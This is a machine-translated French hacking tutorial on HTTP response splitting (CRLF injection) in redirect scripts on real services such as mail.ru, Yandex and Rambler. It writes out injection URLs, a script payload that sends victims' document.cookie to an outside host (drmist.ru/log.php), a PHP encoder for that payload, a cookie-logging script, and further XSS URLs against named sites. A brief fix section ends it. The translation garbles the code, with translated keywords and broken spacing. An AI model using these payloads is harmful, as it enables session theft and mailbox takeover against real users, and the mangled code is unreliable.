This page has been robot translated, sorry for typos if any. Original content here.

Vulnérabilité liée au fractionnement HTTP

Cet article décrit l'application pratique d'une vulnérabilité connue sous le nom de vulnérabilité de fractionnement HTTP.

Bazhny header () au microscope

En errant sur Internet, nous observons souvent l'URL du formulaire http://anyhost.com/redirect.php?url=http://otherhost.com. Un utilisateur simple d'esprit, sans réfléchir longtemps, clique simplement dessus, il est également agréable de choisir otherhost.com. Un utilisateur curieux soumet l'adresse de son hompagi à l'emplacement de l'URL et s'assure également de la courbure du script.
En plus des simples curieux sur Internet, vivent des utilisateurs très curieux. Ils insèrent un lien dans AccessDiver et commencent également à étudier le travail du script.

1. L'essence du bug.
2. Application pratique.
3. L'emplacement de la prévalence de l'erreur.
4. Moyens de protection.

pour les pétroliers, je suggère qu'AccessDiver est un «hakresky», comme il est de coutume d'exprimer un instrument dans une nation. Téléchargez-le autorisé sur le projet hors site . Au moment de la rédaction de cet article, la dernière version de cet utilitaire était la 4.173. Le programme est surtout connu pour sa fonction de débogage HTTP. Vous pouvez l'utiliser en passant en mode expert en sélectionnant également la fonction appropriée dans le menu Outils (F4 puis Ctr + F9 - les touches peuvent être modifiées en fonction de la version). Ensuite, nous ne soulignerons pas le souci de son environnement, tout écolier peut faire face à un plongeur.

pour les expériences, nous avons choisi mail.ru , car il s’agit du service postal le plus connu de runet, et le lecteur sera particulièrement intéressé par le bug concernant ce projet;) Suivons le lien http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net . Nous allons transférer sur le portail le plus choisi sur la sécurité informatique;). Nous ajoutons le site aux favoris et revenons au courrier. Écrivez le lien qui nous intéresse dans le champ Adresse HTTP, définissez le mode sur Obtenir, puis cliquez sur Connecter.
Nous avons devant nous les en-têtes HTTP renvoyés par le serveur, approximativement comme dans la capture d'écran:



Laissez-nous nous occuper de la ligne soulignée. Ayant rencontré Location: en- têtes, le navigateur nous amène inconditionnellement à l'URL spécifiée. Par conséquent, nous pouvons glisser un lien vers l'utilisateur, comme s'il s'agissait d'un courrier, mais il ne recevra rien du tout. Tout cela est merveilleux, mais dans la pratique, rien n’aliène.

Notez que les lignes de l'en-tête sont séparées par deux caractères 0Dh 0Ah . Et quoi, si on leur attribue à la fin du lien? Voyons ce que le serveur va nous donner à l'objection à la requête http://go.mail.ru/urltracker?url=null%0D%0AHacked_by:%20drmist :



Comme c'est intéressant. Nous pouvons donc forcer le serveur à produire presque n'importe quel en-tête. Par exemple, modifiez les cookies utilisateur. Mais, encore une fois, ce n’est toujours pas aussi intéressant que le fait que nous hésitons devant nous. Fait intéressant, les en-têtes sont séparés du corps de l'acte par la séquence 0Dh 0Ah 0Dh 0Ah . Sommes-nous capables de donner une page complète? Entrez http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A alerte <script> (document.cookie); </ script> <! - regardez également:



Tout ce qui est jaune est le texte du document lui-même. Si JavaScript est activé dans le navigateur, suivez le lien et nous verrons une boîte de message avec nos cookies. Pour lancer l'attaque XSS, il vous faut:
1) Créez une page telle que <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Traduisez-le en url-encodé en utilisant un script:

<? php
$ url = "http://go.mail.ru/urltracker?url=";
$ s = "<script> document.location = 'http: //drmist.ru/log.php?'";
$ s. = "+ document.cookie; </ script>";
$ res = "";
pour ($ i = 0; $ i <strlen ($ s); $ i ++)
{
$ res. = "%";
$ t = ord ($ s [$ i]);
si ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);
}

echo $ url. "% 0d% 0a% 0d% 0a". $ res;
?>

Nous obtenons:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... etc. (**)

3) écrivez un script log.php également le télécharger sur drmist.ru:
<? php
$ fid = fopen ("../ log.txt", "a");
fputs ($ fid, $ _SERVER ["QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
en-tête ("Emplacement: http://www.mail.ru");
?>

Il est maintenant permis d’envoyer le lien magique (**) pour acheter les cookies de la victime.
Ils sont autorisés à faire beaucoup de choses utiles, par exemple, pour accéder au courrier, mais à ce sujet une autre fois, nous nous sommes aussi beaucoup distraits du sujet principal.

Bien sûr, il n’est pas nécessaire de dire au courrier que c’est une excellente ressource, merde, et cela ne provient pas non plus de notre bac à sable. Les gens commettent souvent des erreurs, mais les administrateurs de mail.ru en font de moins en moins. Les vrais bugs restent encore. , les gens se taisent à leur sujet non pas à cause de la cupidité, mais à cause de la crainte d’une réaction inadéquate de l’administration à leur conclusion, qui, selon les statistiques, est propriétaire du lieu. Heureusement, la présence de XSS ne garantit pas l'accès à la boîte aux lettres. Je suis sûr que le bug sera couvert. Après 2 jours au plus tard. Vulnérable non seulement mail.ru. Je recommande fortement de lire:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Franchement, nous avons été très surpris de constater à quel moment j’ai appris que de telles vulnérabilités avaient été écrites sur securitylab.ru il y a 3 ans (voir Implémentation de CRLF dans la fonction header () de PHP à partir du 10 septembre 2002). J'ai entendu plus d'une fois, puis j'ai considéré le sujet pertinent. En outre, bla bla vryatli a permis d’appeler de quelque manière que ce soit la présence de bugs sur Yandex, Rambler a également envoyé un courrier électronique.

Corriger l'erreur n'est pas difficile. Laissez-le manger le script vulnérable:

<?
si (! isset ($ url))
$ url = "http://www.mail.ru";

en-tête ("Emplacement: $ url");

?>

Nous le rendons invulnérable:

en-tête ("Location:" .urlencode ($ url));

Si la redirection est prévue uniquement sur le site, il est préférable de procéder comme suit:

en-tête ("Emplacement: http://www.mail.ru/".urlencode($url));

Ici peut-être aussi tout ce que nous voulions informer. Permettez-moi d’offrir un peu plus de XSS:

http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS </ h1>
http://www.pochta.ru/?lng=fr "<h1> XSS </ h1>